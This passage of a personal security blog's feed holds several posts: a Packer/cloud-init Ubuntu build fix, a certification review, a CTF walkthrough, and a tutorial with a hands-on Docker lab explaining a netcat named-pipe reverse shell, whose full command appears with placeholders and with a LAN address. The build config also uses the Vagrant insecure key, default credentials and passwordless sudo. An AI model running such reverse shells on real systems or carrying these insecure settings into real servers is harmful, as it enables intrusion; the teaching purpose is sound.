</ul>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[Part 2 of 2 of a series of walkthroughs for the BreakICT CTF at OzSec 2022. Here I post the remaining challenges walkthroughs, including the ones I did not complete during the CTF itself, but were available after the CTF ended.]]></summary></entry><entry><title type="html">Fixing Kernel Panic in Ubuntu Packer Builds</title><link href="http://rufflabs.github.io/post/packer-ubuntu-kernel-panic/" rel="alternate" type="text/html" title="Fixing Kernel Panic in Ubuntu Packer Builds" /><published>2023-03-24T00:00:00+00:00</published><updated>2023-03-24T00:00:00+00:00</updated><id>http://rufflabs.github.io/post/packer-ubuntu-kernel-panic</id><content type="html" xml:base="http://rufflabs.github.io/post/packer-ubuntu-kernel-panic/"><![CDATA[<p>When building an Ubuntu image using Packer I was building out my own <code class="language-plaintext highlighter-rouge">.pkr.hcl</code> template file.
Everything seemed to be fine, except I could never get the build to boot into the cloud-init and
start installing the operating system.</p>

<p>The VM was built and after the boot command was entered the VM would show a Kernel panic error like below.</p>

<p><img src="/images/posts/2023-03-24-packer-ubuntu-kernel-panic/packer-kernel-panic.png" alt="Kernel panic - not syncing: No working init found." /></p>

<p>After a lot of trial and error I finally found the extremely simple solution. I wasn’t giving the VM enough RAM.
After adding the following to the <code class="language-plaintext highlighter-rouge">source</code> declaration the VM booted up and auto installed using my <code class="language-plaintext highlighter-rouge">cidata</code> files.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  cpus = 2
  memory = 2048
</code></pre></div></div>

<p>Here is the full <code class="language-plaintext highlighter-rouge">ubuntu2204-vmware.pkr.hcl</code> file that worked for me:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>packer {
  required_version = "&gt;= 1.7.0"
  required_plugins {
    vmware = {
      version = "&gt;= 1.0.0"
      source  = "github.com/hashicorp/vmware"
    }
  }
}

source "vmware-iso" "ubuntu" {
  boot_wait   = "10s"
  ssh_timeout = "20m"
  boot_command = [
    "&lt;wait&gt;e&lt;down&gt;&lt;down&gt;&lt;down&gt;&lt;end&gt;",
    " autoinstall ds=nocloud;",
    "&lt;F10&gt;",
  ]
  cd_files = [
    "./cidata/meta-data",
    "./cidata/user-data"
  ]
  cd_label = "cidata"

  iso_url          = "./ISO/ubuntu-22.04.2-live-server-amd64.iso"
  iso_checksum     = "5e38b55d57d94ff029719342357325ed3bda38fa80054f9330dc789cd2d43931"
  ssh_username     = "vagrant"
  ssh_password     = "vagrant"
  shutdown_command = "sudo shutdown -P now"
  // cpus             = 2
  // memory           = 2048
}

build {
  name = "packer-ubuntu2204"
  sources = [
    "sources.vmware-iso.ubuntu"
  ]

  post-processor "vagrant" {

  }
}
</code></pre></div></div>

<p>Here is the associated user-data file, it uses the Vagrant insecure public key and credentials <code class="language-plaintext highlighter-rouge">vagrant:vagrant</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#cloud-config
autoinstall:
  version: 1
  early-commands:
    - sudo systemctl stop ssh
  apt:
    disable_components: []
    geoip: true
    preserve_sources_list: false
    primary:
    - arches:
      - amd64
      - i386
      uri: http://us.archive.ubuntu.com/ubuntu
    - arches:
      - default
      uri: http://ports.ubuntu.com/ubuntu-ports
  drivers:
    install: false
  identity:
    hostname: ubuntu
    password: $6$uNphLrAzLra/kNRo$L1umupXWSPFHA34UiYGHWzC4paSr/Ru9lw8JKMXKd48sVHUT0W0S8hv0n.C2.bHHXbfxSiwt0gXbOXUkIeF0Q.
    realname: Vagrant
    username: vagrant
  kernel:
    package: linux-generic
  keyboard:
    layout: us
    toggle: null
    variant: ''
  locale: en_US.UTF-8
  network:
    ethernets:
      ens33:
        dhcp4: true
    version: 2
  source:
    id: ubuntu-server
    search_drivers: false
  ssh:
    allow-pw: true
    authorized-keys: [
      "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key"
    ]
    install-server: true
  storage:
    config:
    - ptable: gpt
      path: /dev/sda
      wipe: superblock-recursive
      preserve: false
      name: ''
      grub_device: true
      type: disk
      id: disk-sda
    - device: disk-sda
      size: 1048576
      flag: bios_grub
      number: 1
      preserve: false
      grub_device: false
      offset: 1048576
      type: partition
      id: partition-0
    - device: disk-sda
      size: 1902116864
      wipe: superblock
      number: 2
      preserve: false
      grub_device: false
      offset: 2097152
      type: partition
      id: partition-1
    - fstype: ext4
      volume: partition-1
      preserve: false
      type: format
      id: format-0
    - device: disk-sda
      size: 19569573888
      wipe: superblock
      number: 3
      preserve: false
      grub_device: false
      offset: 1904214016
      type: partition
      id: partition-2
    - name: ubuntu-vg
      devices:
      - partition-2
      preserve: false
      type: lvm_volgroup
      id: lvm_volgroup-0
    - name: ubuntu-lv
      volgroup: lvm_volgroup-0
      size: 10737418240B
      wipe: superblock
      preserve: false
      type: lvm_partition
      id: lvm_partition-0
    - fstype: ext4
      volume: lvm_partition-0
      preserve: false
      type: format
      id: format-1
    - path: /
      device: format-1
      type: mount
      id: mount-1
    - path: /boot
      device: format-0
      type: mount
      id: mount-0
  updates: security
  late-commands:
    - echo 'vagrant ALL=(ALL) NOPASSWD:ALL' &gt; /target/etc/sudoers.d/ubuntu
    - curtin in-target --target=/target -- chmod 440 /etc/sudoers.d/ubuntu
</code></pre></div></div>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[When building an Ubuntu image using Packer I was building out my own .pkr.hcl template file. Everything seemed to be fine, except I could never get the build to boot into the cloud-init and start installing the operating system. This post discusses the kernel panic and how to solve it.]]></summary></entry><entry><title type="html">Certified CyberDefender Review</title><link href="http://rufflabs.github.io/post/certified-cyberdefender-review/" rel="alternate" type="text/html" title="Certified CyberDefender Review" /><published>2023-03-16T00:00:00+00:00</published><updated>2023-03-16T00:00:00+00:00</updated><id>http://rufflabs.github.io/post/certified-cyberdefender-review</id><content type="html" xml:base="http://rufflabs.github.io/post/certified-cyberdefender-review/"><![CDATA[<p>The following review may be outdated, but in a good way. Since this review was published the CCD learning material has been expanded greatly, and includes a lot more content than it did back when I initially took this course and exam. Please keep this in mind when reading the following review.</p>

<h1 id="course-overview">Course Overview</h1>
<p>The Certified CyberDefender (CCD) is a blue team oriented training course with high quality, in depth material. The learning material is reinforced with multiple hands on, practical, online labs that are very similar to their BlueYard CTF platform. After completing the training material you can attempt the Certified CyberDefender exam which is a practical exam setup just like the online labs.</p>

<p>The CCD course includes 6 modules covering the following topics:</p>
<ul>
  <li>Security Operations Fundamentals</li>
  <li>Incident Response</li>
  <li>Threat Intelligence</li>
  <li>Digital Forensics</li>
  <li>Threat Hunting and Emulation</li>
  <li>Perimeter Defense (Email Security)</li>
</ul>

<blockquote>
  <p>Check the CyberDefenders page on this course and certification for more information: <a href="https://cyberdefenders.org/blueteam-training/courses/certified-cyberdefender/">https://cyberdefenders.org/blueteam-training/courses/certified-cyberdefender/</a></p>
</blockquote>

<h1 id="learning-material-review">Learning Material Review</h1>
<p>The course material is excellent quality, and I often compare it to the SANS SEC504 in quality (my only SANS course that I’ve taken.) The content is densly packed, without any fluff. 
If anything is mentioned in the material it is very important. There’s not much you can skim on, or would even want to skim, as all the learning objectives and labs are aimed at
helping you obtain both the knowledge and mindset required of a CyberDefender.</p>

<p>The Digital Forensics module was the most impactful to me, and I learned an absolute ton of new information and became much more comfortable in my responsibilities at work when an incident required investigation and forensics. The lab guide that went along with the online labs and guided me through an investigation was both fun and a great opportunity to learn and put my newfound knowledge to the test.</p>

<h1 id="lab-review">Lab Review</h1>
<p><img src="/images/posts/2023-03-16-certified-cyberdefender-review/ccd_nessuslab.png" alt="" /></p>

<p>In addition to the course content you will gain access to multiple online labs. While some are associated directly with course content (and they have associated walkthroughs and guides) you are encouraged to seek out additional answers beyond what the training course taught.</p>

<p>That’s not to say that the course does not cover everything you need, it does, but there may be faster or easier ways that if you take the time to read tool documentation and get familiar with the tools you could find new ways to answer the questions for the labs.</p>

<p>Overall, I think the labs were the best part of the course.</p>

<h1 id="exam-experience">Exam Experience</h1>
<p>When you start the exam (which can be done at any time, no scheduling required) you have 48 hours of access to the exam site. This is almost identical to the online labs you will have done during the course, so the process should be very familiar. It is a practical exam where you are provided with a virtual environment and questions. It’s up to you to answer those questions as best you can. The answers are free form, and you are encouraged to provide additional information with the answer such as how you came to the conclusion or what track you were on.</p>

<p>The exam is graded by real people, and partial points can be awarded. So by providing additional context with your answers you might be able to get a few points for a “Wrong” answer if you were on the right path but didn’t quite get what they were asking.</p>

<p>There are more than one way to find the answers, and answers to questions further on can give you hints on how to answer earlier questions. There were a few questions I had to go back on, after getting further I had a better idea of what I should have been looking for. I don’t know if that helped, but I did get a passing grade!</p>

<p>All aspects of the course are fair game for the exam, so make sure you have a good familiarity and understanding of all the modules. Each module is well represented in the exam, and you have plenty of time. I still lived my life during the exam, I went to dinner and lunch, took the family on a grocery shopping trip. The exam was still waiting for me, and I still had plenty of time to complete it.</p>

<p>I even had to take a step back and start Googling and referencing the course material during the exam to get me back on track if I had forgotten how a particular tool works, or wasn’t sure which direction I needed to be heading.</p>

<h1 id="certification">Certification</h1>
<p>Passing the exam at 70% will you reward you with the Certified CyberDefender certification and digital badge.</p>

<h1 id="value-considerations">Value Considerations</h1>
<p>The course and exam are currently available with a retail price of $799.99. It is absolutely worth the cost as the content is such great quality, it is worth the price.</p>

<p>For someone looking for some good blue team training, and an up and coming certification, the value is absolutely there. I paid for it out of my own pocket, and if you can get an employwer to fund the training even better!</p>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[A review of the Certified CyberDefender (CCD) course and certification exam from cyberdefenders.org.]]></summary></entry><entry><title type="html">Installing pip for Python2</title><link href="http://rufflabs.github.io/post/installing-pip-for-python2/" rel="alternate" type="text/html" title="Installing pip for Python2" /><published>2022-11-23T00:00:00+00:00</published><updated>2022-11-23T00:00:00+00:00</updated><id>http://rufflabs.github.io/post/installing-pip-for-python2</id><content type="html" xml:base="http://rufflabs.github.io/post/installing-pip-for-python2/"><![CDATA[<p>Python 2 has been End of Life since January, 2020. As of this writing that was over 2 years ago, but still today there are some tools that have not been rewritten to be compatible with Python3.</p>

<p>While many scripts/tools can be ran through <code class="language-plaintext highlighter-rouge">2to3</code> to convert them, some don’t quite work and you just need to run Python2. In those instances <code class="language-plaintext highlighter-rouge">pip</code> is often needed but it’s not easy to install <code class="language-plaintext highlighter-rouge">pip</code> for Python2 like you can for Python3.</p>

<p>Thankfully, you can still install it you just have to explicitly download the <code class="language-plaintext highlighter-rouge">get-pip.py</code> and run it manually.</p>

<p>To install <code class="language-plaintext highlighter-rouge">pip</code> on <code class="language-plaintext highlighter-rouge">python2</code> run these commands:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py
</code></pre></div></div>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[While Python2 is end of life and should not be used, there are some tools and scripts out there that are not compatible with Python3. This guide shows how to get pip installed for Python2.]]></summary></entry><entry><title type="html">BreakICT 2022 CTF Walkthrough (Part 1)</title><link href="http://rufflabs.github.io/writeup/ozsec-breakict-2022" rel="alternate" type="text/html" title="BreakICT 2022 CTF Walkthrough (Part 1)" /><published>2022-10-21T00:00:00+00:00</published><updated>2022-10-21T00:00:00+00:00</updated><id>http://rufflabs.github.io/writeup/breakict-1</id><content type="html" xml:base="http://rufflabs.github.io/writeup/ozsec-breakict-2022"><![CDATA[<p>The following challenges are from the <a href="https://ctf.breakict.org">BreakICT CTF</a> for <a href="https://ozsec.org">OzSec 2022</a>, an annual cybersecurity conference in Wichita, KS. Here in part 1 we will take on four different challenges from the CTF.</p>

<h1 id="epic-server-beta-v2"><strong>Epic Server Beta! (v.2)</strong></h1>

<h2 id="challenge-description">Challenge Description</h2>

<p>A developer known as the “Breadministrator” has just created a new site hosted in GCP. It utilizes App engine to host static pages for now.</p>

<p><a href="https://alpha-test-dot-breakict.uc.r.appspot.com/">https://alpha-test-dot-breakict.uc.r.appspot.com/</a></p>

<p>Rumor has it that the Breadministrator accidentally published some data in the very first revision of the app. The app was shortly updated afterwards. Users a part of the private beta claimed the app was up with the secret information on February 25th, 2022, at approximately 17:22, the app was deployed from CST</p>

<p>Can you find any proof or content from the initial private beta?</p>

<p>Note: regions did not change throughout deployments</p>

<p>P.S.: You don’t need to run directory scans, but may need to mangle/transform the URL to find the exact time (down to seconds) of when the app was first deployed.</p>

<p><a href="https://alpha-test-dot-breakict.uc.r.appspot.com/">https://alpha-test-dot-breakict.uc.r.appspot.com/</a></p>

<h2 id="challenge-walkthrough">Challenge Walkthrough</h2>

<p>Visiting the site we see that it now has redacted some private information.</p>

<p><img src="/images/posts/breakict-2022/redacted.png" alt="" /></p>

<p>Searching for appspot and previous versions I ran across a StackOverflow post talking about how Google Cloud doesn’t remove previous versions automatically, and all versions of an app that are published are by default still accessible via a different subdomain.</p>

<p><a href="https://stackoverflow.com/questions/43430383/gcloud-app-deploy-does-not-remove-previous-versions">https://stackoverflow.com/questions/43430383/gcloud-app-deploy-does-not-remove-previous-versions</a></p>

<p><img src="/images/posts/breakict-2022/so-post.png" alt="" /></p>

<p>In the screenshot of the post you can see the versions are a date and time stamp: <code class="language-plaintext highlighter-rouge">&lt;yyyymmdd&gt;t&lt;hhmmss&gt;</code>.</p>

<p>Searching documentation for Google Cloud we find an example of accessing versions using a specific URL of <code class="language-plaintext highlighter-rouge">https://&lt;VERSION&gt;-dot-&lt;SERVICE&gt;-dot-&lt;PROJECT_ID&gt;.&lt;REGION_ID&gt;.r.appspot.com</code></p>

<p><img src="/images/posts/breakict-2022/previous-versions.png" alt="" /></p>

<p>With this information, and the date and time mentioned in the challenge question, I need to find the previous version that was published sometime on February 25th, 2022, at approximately 17:22. The URL of <code class="language-plaintext highlighter-rouge">https://20220225t1722??-dot-alpha-test-dot-breakict.uc.r.appspot.com</code> We just need to guess the right seconds.</p>

<p>My approach was to use PowerShell to generate a list of URL’s and <code class="language-plaintext highlighter-rouge">wget</code> each of them. I would then compare the file sizes to identify any outliers.</p>

<p><img src="/images/posts/breakict-2022/wget.png" alt="" /></p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mi">00</span><span class="o">..</span><span class="mi">59</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="o">%</span><span class="p">{</span><span class="n">wget</span><span class="w"> </span><span class="s2">"https://20220225t1722</span><span class="bp">$_</span><span class="s2">-dot-alpha-test-dot-breakict.uc.r.appspot.com"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>This downloaded one <code class="language-plaintext highlighter-rouge">index.html</code> for each second. Looking through the list at their file sizes I saw the one toward the end has a different file size. It is 316 bytes when all other pages are 278 bytes.</p>

<p><img src="/images/posts/breakict-2022/filesize.png" alt="" /></p>

<p>Looking at the contents of <code class="language-plaintext highlighter-rouge">index.html.39</code> revealed the flag!</p>

<p><img src="/images/posts/breakict-2022/redacted-flag.png" alt="" /></p>

<ul>
  <li>Points: 350</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{@pp_3ng!n3_m0r3_l!k3_@55_Pr0t3ct!0n5}</code></li>
</ul>

<h1 id="where-the-hell-did-i-leave-my-bucket"><strong>Where the hell did I leave my bucket</strong></h1>

<h2 id="challenge-description-1">Challenge Description</h2>
<p>We believe breakict may have some type of cloud bucket blob big data lake thingy. We’re looking for a secret flag.txt file. Could you find it for us pls? We don’t know anything new about this organization. The bucket could be named anything</p>

<p>P.S.: once you’ve found the bucket, again, there’s a flag.txt with the secret</p>

<h2 id="challenge-walkthrough-1">Challenge Walkthrough</h2>
<p>We need to find a storage account, our options are potentially AWS S3, GCP, or Azure. I will start by looking for an S3 bucket, typically companies use their company name for a bucket name so I will first just guess at <code class="language-plaintext highlighter-rouge">breakict.s3.amazonaws.com</code></p>

<p><img src="/images/posts/breakict-2022/s3-accessdenied.png" alt="" /></p>

<p>We have an access denied, this means the bucket exists, otherwise we would get a bucket does not exist error. Let’s try to grab the /flag.txt mentioned in the introduction.</p>

<p><img src="/images/posts/breakict-2022/s3-flag.png" alt="" /></p>

<ul>
  <li>Points: 100</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{Y0u_F0und_m3!_g00d_j0b_ch@mp!}</code></li>
</ul>

<h1 id="took-my-b64-and-we-flew-it-into-orbit"><strong>Took my b64 and we flew it into orbit</strong></h1>

<h2 id="challenge-description-2">Challenge Description</h2>
<p><em>sigh</em> here’s some string we found. Decode it or somethin <code class="language-plaintext highlighter-rouge">=0nel9Fdp91MrRTbfxGbnk0Xl5WIm9Ve0sGM7ZEVDNWZTp3T</code></p>

<h2 id="challenge-walkthrough-2">Challenge Walkthrough</h2>
<p>The <code class="language-plaintext highlighter-rouge">=</code> is a giveaway that this is most likely <code class="language-plaintext highlighter-rouge">Base64</code> encoded, and since it’s the first character the string is likely reversed.</p>

<p>Let’s throw it into CyberChef and use a recipe of Reverse, From Base64.</p>

<p><img src="/images/posts/breakict-2022/b64-flag.png" alt="" /></p>

<ul>
  <li>Points: 100</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{0k4y_f!ne_I'll_m4k3_it_ez}</code></li>
</ul>

<h1 id="cracking-kraken"><strong>Cracking Kraken</strong></h1>

<h2 id="challenge-description-3">Challenge Description</h2>
<p>We’ve obtained a hashed password! We don’t know what algorithm they’re hashed in, nor do we care, that’s your job. Have fun! The flag is the recovered password inside of the OzSecCTF{} wrapper PS: I’ll save you the effort, the password isn’t in rockyou.txt, it’s 2022 ;)</p>

<p>Some details about the org the hash is from:</p>

<ul>
  <li>The org name is BreakICT</li>
  <li>The org previously had a breached password, so we assume this one has been ‘updated’</li>
  <li>The org requires at least 1 captial letter, 1 number, 1 special char, and at least 8 chars in password length</li>
</ul>

<p>Here’s the hash: <code class="language-plaintext highlighter-rouge">ebe041077189044d2b35194447e71aeb</code></p>

<h2 id="challenge-walkthrough-3">Challenge Walkthrough</h2>
<p>For this one I just took a stab and guessed correctly the first try: <code class="language-plaintext highlighter-rouge">BreakICT2022!</code></p>

<p>Running this through md5sum matches the hash provided.</p>

<p><img src="/images/posts/breakict-2022/guess-flag.png" alt="" /></p>

<ul>
  <li>Points: 200</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{BreakICT2022!}</code></li>
</ul>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[Part 1 of a series of walkthroughs for the BreakICT CTF at OzSec 2022. Today we take on four of the challenges ranging from web discovery to identifying and decoding messages.]]></summary></entry><entry><title type="html">Anatomy of a Reverse Shell: nc named pipe</title><link href="http://rufflabs.github.io/post/anatomy-of-reverse-shell-nc-pipe/" rel="alternate" type="text/html" title="Anatomy of a Reverse Shell: nc named pipe" /><published>2022-05-21T00:00:00+00:00</published><updated>2022-05-21T00:00:00+00:00</updated><id>http://rufflabs.github.io/post/anatomy-of-a-reverse-shell-nc-pipe</id><content type="html" xml:base="http://rufflabs.github.io/post/anatomy-of-reverse-shell-nc-pipe/"><![CDATA[<p>In penetration testing and hacking, one of the main goals is to obtain a reverse shell on the target or victim system. Sometimes the code and commands to obtain these reverse shells can be very complicated if you aren’t familiar with every little piece of the command that is chained together. Today, we’ll be discussing a Netcat named pipe reverse shell and breaking it down to fully understand how it works.</p>

<h1 id="netcat-named-pipe">Netcat Named Pipe</h1>

<p>Here is the reverse shell command that we are taking a deeper look into:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc IP PORT &gt; /tmp/f
</code></pre></div></div>

<p>If you have remote code execution on a target system, and that system has <code class="language-plaintext highlighter-rouge">nc</code> installed and available, you can enter the above code (replacing <code class="language-plaintext highlighter-rouge">IP</code> and <code class="language-plaintext highlighter-rouge">PORT</code> with your own IP and a listening port), and you will get a shell on the target box that lets you enter commands and receive the output in your own terminal.</p>

<p>Let’s break down each of these individual commands and take a closer look at what they do and how they work together to give you a semi-interactive reverse shell.</p>

<p><strong><code class="language-plaintext highlighter-rouge">rm /tmp/f;</code></strong><br />
This removes the <code class="language-plaintext highlighter-rouge">/tmp/f</code> file if it exists. This allows the file to be created in the next step without interfering with an existing file. Ideally, this filename should be fairly unique. If you’re using this in a CTF or engagement, make sure to use a unique filename for all instances of the <code class="language-plaintext highlighter-rouge">/tmp/f</code> file in the command.</p>

<p><strong><code class="language-plaintext highlighter-rouge">mkfifo /tmp/f;</code></strong><br />
This uses <code class="language-plaintext highlighter-rouge">mkfifo</code> to create a “first in, first out” file, also known as a named pipe. This special type of file can be opened by one process for reading and another for writing. Anything the writing process puts in the file is immediately read by the process that is reading it.</p>

<p><strong><code class="language-plaintext highlighter-rouge">cat /tmp/f</code></strong><br />
<code class="language-plaintext highlighter-rouge">cat</code> is typically used to read a file and output its contents to the terminal. Here, since we are reading a FIFO (named pipe) file, <code class="language-plaintext highlighter-rouge">cat</code> will read the file, but since no program has begun writing to it, there is no End of File (EOF) marker. The program waits at this point for data to appear. When new data arrives, it reads and sends it down the pipeline to the next command. If no EOF is seen, it pauses and keeps retrying until more data is added. This repeats until EOF is read.</p>

<p><strong><code class="language-plaintext highlighter-rouge">| /bin/sh -i 2&gt;&amp;1</code></strong><br />
The contents from <code class="language-plaintext highlighter-rouge">/tmp/f</code> are sent to the <code class="language-plaintext highlighter-rouge">/bin/sh</code> shell. The <code class="language-plaintext highlighter-rouge">-i</code> flag starts an interactive session, executing commands as they are read from <code class="language-plaintext highlighter-rouge">/tmp/f</code>. The <code class="language-plaintext highlighter-rouge">2&gt;&amp;1</code> part redirects standard error to standard output. By default, error output is not forwarded in the pipeline. Redirecting it ensures that both standard output and error are sent to the next command.</p>

<blockquote>
  <p><strong>Why do almost all reverse shells use <code class="language-plaintext highlighter-rouge">/bin/sh</code> instead of the friendlier <code class="language-plaintext highlighter-rouge">/bin/bash</code>?</strong><br />
Not all systems have <code class="language-plaintext highlighter-rouge">/bin/bash</code> installed. However, <code class="language-plaintext highlighter-rouge">/bin/sh</code> will <em>always</em> be available on all Unix/Linux systems, including embedded and IoT devices.</p>
</blockquote>

<p><strong><code class="language-plaintext highlighter-rouge">| nc IP PORT &gt; /tmp/f</code></strong><br />
Next, we take the output of <code class="language-plaintext highlighter-rouge">sh</code> (executing commands from <code class="language-plaintext highlighter-rouge">/tmp/f</code>) and use <code class="language-plaintext highlighter-rouge">netcat</code> to connect to the specified IP and port. Any input received from the IP (e.g., typed commands) is written to <code class="language-plaintext highlighter-rouge">/tmp/f</code>, read by <code class="language-plaintext highlighter-rouge">cat</code>, and piped into <code class="language-plaintext highlighter-rouge">sh</code>, completing the loop.</p>

<h1 id="putting-it-all-together">Putting It All Together</h1>

<p>This type of reverse shell is cyclical. Initially, you read the empty <code class="language-plaintext highlighter-rouge">/tmp/f</code> file, and <code class="language-plaintext highlighter-rouge">/bin/sh</code> executes nothing. The output is sent to <code class="language-plaintext highlighter-rouge">nc</code> at your IP, which lets you type a command. That command is written to <code class="language-plaintext highlighter-rouge">/tmp/f</code>, picked up by <code class="language-plaintext highlighter-rouge">cat /tmp/f</code>, and executed by <code class="language-plaintext highlighter-rouge">sh</code>. The output is sent back to your <code class="language-plaintext highlighter-rouge">nc</code> session, and displayed in your terminal.</p>

<h1 id="hands-on-docker-lab">Hands-On Docker Lab</h1>

<p>If you have Docker, you can use this hands-on lab to practice reverse shell commands demonstrated in this post. You can also try out other techniques. For a great reverse shell reference and command builder, check out <a href="https://www.revshells.com/">RevShells.com</a>.</p>

<h2 id="prerequisites">Prerequisites</h2>

<p>You will need Docker and Netcat installed on your PC.</p>

<h3 id="installing-docker">Installing Docker</h3>

<p>Docker is available for Windows, Linux, and macOS. Refer to the <a href="https://docs.docker.com/desktop/">official Docker documentation</a> for installation instructions.</p>

<h3 id="installing-netcat">Installing Netcat</h3>

<p><strong>Windows</strong><br />
Download <code class="language-plaintext highlighter-rouge">nc.exe</code> from <a href="https://github.com/int0x33/nc.exe/">int0x33’s GitHub</a> and run it from the command prompt.</p>

<p><strong>Linux</strong><br />
Netcat should be available via your distribution’s package manager.</p>

<p><strong>macOS</strong><br />
Netcat should be installed by default. Run <code class="language-plaintext highlighter-rouge">nc</code> from a Terminal to check.</p>

<h2 id="finding-your-ip">Finding Your IP</h2>

<p>To connect back to your machine, you need your local IP address.</p>

<p><strong>Windows</strong><br />
Run:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ipconfig
</code></pre></div></div>
<p>Look for your IPv4 address under either the Ethernet or Wireless adapter section.</p>

<p><strong>Linux and macOS</strong><br />
Run:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ifconfig
</code></pre></div></div>

<h2 id="starting-the-docker-rce-lab">Starting the Docker rce-lab</h2>

<p>Run the following to launch the Docker image and serve it on port 80:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker run -itp 80:80 --rm rufflabs/rce-lab
</code></pre></div></div>

<h2 id="testing-remote-code-execution">Testing Remote Code Execution</h2>

<p>Go to <code class="language-plaintext highlighter-rouge">http://localhost/</code> in your browser. You should see a simple web page with an input box. Try commands like <code class="language-plaintext highlighter-rouge">whoami</code> or <code class="language-plaintext highlighter-rouge">ls -al</code> to confirm code execution. Confirm that <code class="language-plaintext highlighter-rouge">nc</code> is available by running <code class="language-plaintext highlighter-rouge">which nc</code>. If it returns a path, it’s available.</p>

<h2 id="gaining-a-reverse-shell">Gaining a Reverse Shell</h2>

<p>Once you confirm code execution in the Docker container, you can likely obtain a reverse shell via Netcat.</p>

<h3 id="starting-a-netcat-listener">Starting a Netcat Listener</h3>

<p>Open a terminal and run the following (modify as needed):</p>

<p><strong>Linux/Windows:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc -lp 4444
</code></pre></div></div>

<p><strong>macOS:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc -l 4444
</code></pre></div></div>

<p>The terminal will wait for a connection.</p>

<h3 id="using-rce-for-reverse-shell">Using RCE for Reverse Shell</h3>

<p>Update the original command with your IP and port:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc 192.168.1.101 4444 &gt; /tmp/f
</code></pre></div></div>

<p>Paste it into the website input box and submit. The page may hang — that’s expected. Switch to your terminal, and you should see a shell prompt.</p>

<blockquote>
  <p><strong>Why does the browser hang?</strong><br />
The PHP backend runs the reverse shell and waits forever as the process doesn’t complete. It hangs until it times out, potentially disconnecting your reverse shell.</p>
</blockquote>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[Breaking down the cryptic reverse shell using nc and named pipes. How the reverse shell works, and a hands-on docker lab to test out reverse shells.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://rufflabs.github.io/images/posts/reverse-shell-nc-named-pipe.png" /><media:content medium="image" url="http://rufflabs.github.io/images/posts/reverse-shell-nc-named-pipe.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Remediating Nessus Plugin ID 139239 “Windows Security Feature Bypass in Secure Boot (BootHole)”</title><link href="http://rufflabs.github.io/post/nessus-plugin-139239-remediating-boothole-windows/" rel="alternate" type="text/html" title="Remediating Nessus Plugin ID 139239 “Windows Security Feature Bypass in Secure Boot (BootHole)”" /><published>2022-03-08T00:00:00+00:00</published><updated>2022-03-08T00:00:00+00:00</updated><id>http://rufflabs.github.io/post/nessus-plugin-139239-remediating-boothole-windows</id><content type="html" xml:base="http://rufflabs.github.io/post/nessus-plugin-139239-remediating-boothole-windows/"><![CDATA[<p>There are a series of vulnerabilities that are detected on a Windows host by <a href="https://www.tenable.com/plugins/nessus/139239">Nessus Plugin ID 139239</a> identified as BootHole. This post discusses that vulnerability and how to effectively remediate it against Windows hosts. Some guidance suggests installing <a href="https://support.microsoft.com/en-us/topic/kb4535680-security-update-for-secure-boot-dbx-january-12-2021-f08c6b00-a850-e595-6147-d0c32ead81e2">Windows Update KB4535680: Security update for Secure Boot DBX</a>, but that update is only available for Windows 10 up to version 1909.</p>

<p>If you, like many I would hope, run a currently supported version of Windows 10 there is no (that I could find at least) Windows Update that will apply the required security updates to take care of this BootHole vulnerability. Below we will be taking a look at what options are available to install the required patches into the systems firmware to take care of this vulnerability.</p>

<h1 id="remediating-via-dbx-updates">Remediating via DBX Updates</h1>
<p>This vulnerability is remediated by installing some DBX updates into the UEFI firmware of the affected system, so that Secure Boot knows what boot loaders it should or should not allow to be installed.</p>

